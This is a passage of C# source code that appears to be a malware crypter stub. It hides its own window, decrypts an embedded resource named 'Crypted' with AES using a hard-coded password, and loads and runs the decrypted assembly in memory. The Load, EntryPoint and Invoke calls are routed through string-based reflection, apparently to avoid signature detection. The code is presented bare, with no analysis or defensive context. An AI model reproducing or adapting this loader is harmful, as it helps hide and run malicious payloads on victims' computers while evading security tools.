this.Hide(); Visible = false; Opacity = 0; byte[] fares01 = RSM_Decrypt(Properties.Resources.Crypted, Encoding.ASCII.GetBytes("كلمة السر")); object fares1 = Load_f("Load", fares01); object fares4 = EntryPoint_f(fares1, "entrypoint"); object fares5 = Invoke_f(fares4, "Invoke"); } public static object Load_f(string ProcName, byte[] data) { return Interaction.CallByName(AppDomain.CurrentDomain, ProcName, CallType.Method, data); } public static object EntryPoint_f(object Loaded, string ProcName) { return Interaction.CallByName(Loaded, ProcName, CallType.Get); } public static object Invoke_f(object Invoked, string ProcName) { return Interaction.CallByName(Invoked, ProcName, CallType.Method, "0", null); } public static byte[] RSM_Decrypt(byte[] Intext, byte[] key) { Rfc2898DeriveBytes aeretrtyty = new Rfc2898DeriveBytes(key, new byte[8], 1); RijndaelManaged RsmCrypt = new RijndaelManaged(); RsmCrypt.Key = aeretrtyty.GetBytes(16); RsmCrypt.IV = aeretrtyty.GetBytes(16); byte[] L = RsmCrypt.CreateDecryptor().TransformFinalBlock(Intext, 0, Intext.Length); byte[] K = new byte[L.Length - 16]; Buffer.BlockCopy(L, 16, K, 0, L.Length - 16); return K; } public byte[] PlainRSM(byte[] Files, string k) { return RSM_Decrypt(Files, Encoding.ASCII.GetBytes(k)); }